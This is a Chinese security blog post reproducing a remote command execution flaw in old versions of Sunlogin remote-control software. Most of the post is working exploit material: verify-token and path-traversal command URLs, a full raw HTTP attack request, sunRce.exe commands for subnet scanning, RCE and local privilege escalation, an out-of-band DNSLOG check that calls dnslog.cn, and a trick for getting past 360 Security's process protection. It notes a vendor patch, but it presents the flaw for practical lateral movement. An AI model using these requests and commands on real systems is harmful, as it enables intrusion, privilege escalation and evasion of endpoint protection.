之前刚发这篇文章不久就被要求删除了,最近官方应该也都修的差不多了,所以再重新发一遍,仅供参考!!!
0x01 前言
2022年2月14日@孙德胜师傅在他团队公众号发布了一篇"向日葵远程命令执行漏洞复现"的文章,但只有一张复现的动态图,没有具体细节。
隔天@Sp4ce师傅就对这个漏洞进行了研究,并记录了这个远程命令执行漏洞的整个分析过程,太牛了。
0x02 影响版本
向日葵个人版≤11.0.0.33(包括绿色版和安装版),已测试存在远程命令执行漏洞的一些版本如下,目前官方已经发布了漏洞修复程序,只需将向日葵升级至最新版即可。
11.1.1
10.3.0.27372
10.5.0.29613
11.0.0.32806
11.0.0.33162
0x03 漏洞复现
复现这个漏洞用的是@Automne师傅改的利用工具,添加了存活主机探测、网段扫描和并发优化等功能,项目地址:https://github.com/ce-automne/SunloginRCE。
这篇文章只是简单记录了下这个工具的实现原理、使用方法和在实战中可能会遇到的利用场景及问题等。
Usage of sunRce.exe:
-c string //执行命令
Input Cmd Command
-h string //IP或IP段
IP Address: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-n int //扫描线程
Set Scan Threads (default 600)
-p string //指定端口
Ports Range: 50000 | 40000-65535 | 49440,51731,52841 (default "50000")
-t string //攻击类型
Choose Attack Type: scan | rce
工具原理
通过ICMP协议方式对内网主机进行存活探测,多线程扫描存活主机40000-65535端口,将存在向日葵指纹特征的主机IP和端口打印出来,然后再按照以下流程获取Verify认证->RCE远程命令执行,如下图所示。
http://192.168.1.103:58774/
{"success":false,"msg":"Verification failure"}
http://192.168.1.103:58774/cgi-bin/rpc?action=verify-haras
{"__code":0,"enabled":"1","verify_string":"CB6FOvb5t7iFoiMq3OlWrpe1Ag69nk8I","code":0}
http://192.168.1.103:58774/check?cmd=ping../../../../../../../../../../../windows/system32/whoami
http://192.168.1.103:58774/check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+net+user
GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+net+user HTTP/1.1
Host: 192.168.1.103:58774
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: CID=CB6FOvb5t7iFoiMq3OlWrpe1Ag69nk8I
Connection: close
当我们已经拿到内网任意一台主机权限时就可以利用这个工具来扫描整个内网IP段,如果这个IP段中还有人在使用低版本向日葵时就有可能遭受到攻击,如下图所示。
sunRce.exe -h 192.168.1.100-103 -t scan -p 40000-65535 -n 2000
sunRce.exe -h 192.168.1.103 -t rce -p 58774 -c whoami
不过在测试内网另一台主机时发现利用这个工具执行命令没有回显,看来还是存在些BUG,BurpSuite手动测试没有问题,也能通过>重定向符将命令执行结果写进文件,如下图所示。
如果实战中遇到这种场景,我们可以先用DNSLOG看下是否能够收到数据,可以则说明存在这个漏洞,并且是可以执行命令的,本地测试中接收不到数据时可尝试更换DNS,如下图所示。
sunRce.exe -h 192.168.1.100 -t rce -p 51408 -c "nslookup ****of.dnslog.cn"
注:如果目标服务器(外/内网)安装的有低版本向日葵时也可以直接用公网IP来进行扫描和利用,因为向日葵开放的端口绑定在0.0.0.0
,127.0.0.1
回环地址,0.0.0.0
本机上的所有IPV4地址。
这个漏洞不仅可以RCE远程命令执行,也可以LPE本地特权提升,不过在利用这个工具在Webshell提权时会出现乱码,即使作者用了mahonia
库也一样(UTF-8、GB2312),但不影响使用,如下图所示。
sunRce.exe -h 127.0.0.1 -p 40000-65535 -t scan -n 2000
sunRce.exe -h 127.0.0.1 -t rce -p 59582 -c whoami
注:如果直接用中国菜刀这类网站管理工具的虚拟终端去执行这个利用工具的话可能会被360安全卫士的进程防护功能给拦截,如下图所示,不过可以用上边这种执行方式来进行绕过,不会被360拦截。
Github上还看到@Ryze-T师傅写的一个LPE本地特权提升的项目,通过正则匹配方式在向日葵安装路径log目录下的sunlogin_service.xxx.log
日志文件来查找端口,然后获取Verify认证->127.0.0.1命令执行,如下图所示。
C:\ProgramData\sunloginLPE.exe "whoami" "C:\ProgramData\Oray\SunloginClient"
优点:不用再去扫描端口,弊端:安装路径权限问题,虽然能手动指定向日葵安装路径,但如果管理员对磁盘目录做了权限设置,就会因权限问题而无法读取日志文件获取端口,最终导致无法利用,如下图所示。
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推 荐 阅 读